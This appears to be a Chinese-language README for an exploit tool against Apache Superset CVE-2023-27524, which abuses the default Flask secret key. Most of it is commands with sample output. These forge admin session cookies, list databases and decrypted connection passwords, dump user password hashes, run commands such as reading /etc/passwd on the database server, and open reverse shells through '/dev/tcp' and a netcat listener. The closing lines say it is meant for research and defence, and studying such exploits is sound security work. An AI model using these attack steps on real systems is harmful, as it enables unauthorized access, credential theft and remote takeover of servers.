针对 Apache Superset 认证绕过与远程代码执行漏洞 CVE-2023-27524 的利用工具。伪造会话cookie,枚举数据库/用户,执行操作系统命令,并在易受攻击的实例上打开反弹shell。
Apache Superset 是一款广泛使用的开源数据可视化与探索工具,已被发现存在可能导致身份验证绕过和远程代码执行(RCE)的安全弱点。这些漏洞可能使恶意行为者获取目标服务器的管理员权限,从而收集用户凭据并可能危及数据安全。
具体的安全问题是一个不安全的默认配置漏洞,编号为 CVE-2023-27524。
根本原因在于安装时设置了可预测的 Flask 密钥,影响了大量暴露在外的 Apache Superset 实例。尽管已采取了一些缓解措施,但对于尚未更新配置的用户而言,此漏洞仍然是严重的隐患。
该问题可升级为远程代码执行。本漏洞利用工具在原始版本的基础上增加了此功能。
官方漏洞描述:
Apache Superset 2.0.1 及之前版本存在会话验证攻击。如果安装时未按照安装说明更改默认的 SECRET_KEY 配置,攻击者可进行身份验证并访问未授权资源。这不会影响已更改 SECRET_KEY 默认值的 Superset 管理员。
本漏洞利用脚本是为 vsociety 上的一次 CVE 分析而编写的。
安装 PIP 包:
pip3 install -r requirements.txt
用法:
usage: exploit.py [-h] --url URL [--id ID] [--wordlist WORDLIST] [--validate] [--enum-dbs] [--enum-users] [--cmd CMD]
[--revshell REVSHELL] [--db-host]
options:
-h, --help 显示此帮助信息并退出
--url URL, -u URL 主机 URL
--id ID 用于伪造会话 Cookie 的用户 ID。默认值=1
--wordlist WORDLIST, -w WORDLIST
指定密码字典文件(默认为 10.txt)
--validate, -v 通过登录尝试验证漏洞是否存在
--enum-dbs, -dbs 枚举数据库
--enum-users, -eu 枚举用户
--cmd CMD, -c CMD 在数据库服务器上执行自定义操作系统命令
--revshell REVSHELL 指定 IP:端口 用于反向 Shell
--db-host 在数据库服务器上执行命令或打开反向 Shell
# python3 exploit.py --url http://localhost:8088 -v -w 10k_most_common_passwords.txt
[+] 找到会话 Cookie。
[+] 解码后的会话 Cookie: <已编辑>
[+] 使用 '10k_most_common_passwords.txt' 作为密码字典。
[+] Superset 实例存在 CVE-2023-27524 漏洞。
[+] 使用默认 SECRET_KEY: b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET'
[+] 为用户 1 伪造的会话 Cookie: <已编辑>
[+] Superset 版本: 2.0.1
[+] 登录成功。漏洞已验证。
# python3 exploit.py -u http://localhost:8088 --enum-dbs
[+] 找到会话 Cookie。
[+] 解码后的会话 Cookie:
{'csrf_token': '5d4c9ad6caf94bc1c652b0fc8e8739d19c45c05a', 'locale': 'en'}
[+] 使用默认密钥。
[+] Superset 实例存在 CVE-2023-27524 漏洞。
[+] 找到密钥: "b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET'"
[+] 为用户 1 伪造的会话 Cookie:
eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZPsQ6Q.nKTBZiUq-Cu0iWSLQIUtB2W9HnM
[+] 版本 2.0.1 似乎存在漏洞。
[+] 通过 API 枚举数据库...
[+] 找到数据库: "examples" 密码: "superset"
[+] 找到数据库: "SQLite"
[+] 枚举数据库连接数据并尽可能破解密码...
+-----------------+---------------------------------------------------+--------------------------+----------------------+
| database_name | sqlalchemy_uri | password | decrypted_password |
|-----------------+---------------------------------------------------+--------------------------+----------------------|
| examples | postgresql://superset:XXXXXXXXXX@db:5432/superset | MAqp6AIikZpDM5bMH4MMgA== | superset******** |
| SQLite | sqlite+pysqlite:////app/superset_home/superset.db | | |
+-----------------+---------------------------------------------------+--------------------------+----------------------+
[+] 数据库枚举过程完成。
# python3 exploit.py -u http://localhost:8088 --enum-users
[+] 找到会话 Cookie。
[+] 解码后的会话 Cookie:
{'csrf_token': '2a3adb09bac36c330a77c74da1cca27c431779e8', 'locale': 'en'}
[+] 使用默认密钥。
[+] Superset 实例存在 CVE-2023-27524 漏洞。
[+] 找到密钥: "b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET'"
[+] 为用户 1 伪造的会话 Cookie:
eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZPsRCQ.qeci7JgO5Lb4AwexB0Qojp5RDbs
[+] 版本 2.0.1 似乎存在漏洞。
[+] 检查现有的元数据库连接...
[+] 成功修改了 ID 为 1 的数据库设置。
[+] 成功修改了 ID 为 2 的数据库设置。
[+] 已添加 ID 为 2 的 Superset 元数据连接。
[+] 尝试枚举 Superset 用户...
[+] 结果:
+------------+--------------------------------------------------------------------------------------------------------+
| username | password |
|------------|--------------------------------------------------------------------------------------------------------|
| admin | pbkdf2:sha256:260000$z5y5YnluWzyx4kd2$33c40dfefdea9aedef6ed171a941492516ba49c1ed8ed740d7e05446ce639c0e |
+------------+--------------------------------------------------------------------------------------------------------+
在 Superset 服务器上:
# python3 exploit.py --url http://localhost:8088 --cmd 'bash -i >& /dev/tcp/<IP>/4242 0>&1'
注意:此情况下输出尚不可见。
在数据库服务器上:
# python3 exploit.py -u http://localhost:8088 --cmd 'cat /etc/passwd' --db-host
[+] 找到会话 Cookie。
[+] 解码后的会话 Cookie:
{'csrf_token': 'c2154d7077f507bd69c791f9d6de49115ba290a3', 'locale': 'en'}
[+] 使用默认密钥。
[+] Superset 实例存在 CVE-2023-27524 漏洞。
[+] 找到密钥: "b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET'"
[+] 为用户 1 伪造的会话 Cookie:
eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZPsRMw.haTjE2XBuVjamMvsdg7SemBr3Ig
[+] 版本 2.0.1 似乎存在漏洞。
[+] 尝试在数据库服务器上执行命令...
[+] 成功修改了 ID 为 1 的数据库设置。
[+] $ cat /etc/passwd
+-----------------------------------------------------------------------------------+
| cmd_output |
|-----------------------------------------------------------------------------------|
| root:x:0:0:root:/root:/bin/bash |
| daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin |
| <已编辑> |
| postgres:x:999:999::/var/lib/postgresql:/bin/bash |
+-----------------------------------------------------------------------------------+
在 Superset 服务器上:
# 终端 1
nc -lvnp [端口]
# 终端 2
python3 exploit.py -u http://localhost:8088 --revshell [IP]:[端口]
在数据库服务器上:
# 终端 1
nc -lvnp [端口]
# 终端 2
python3 exploit.py -u http://localhost:8088 --revshell [IP]:[端口] --db-host
本漏洞利用脚本仅用于研究目的以及开发有效的防御技术。其并非用于任何恶意或未经授权的活动。脚本作者及所有者对因使用本软件造成的任何误用或损害不承担任何责任。请用户负责任地使用本软件,并遵守适用的法律法规。请谨慎使用。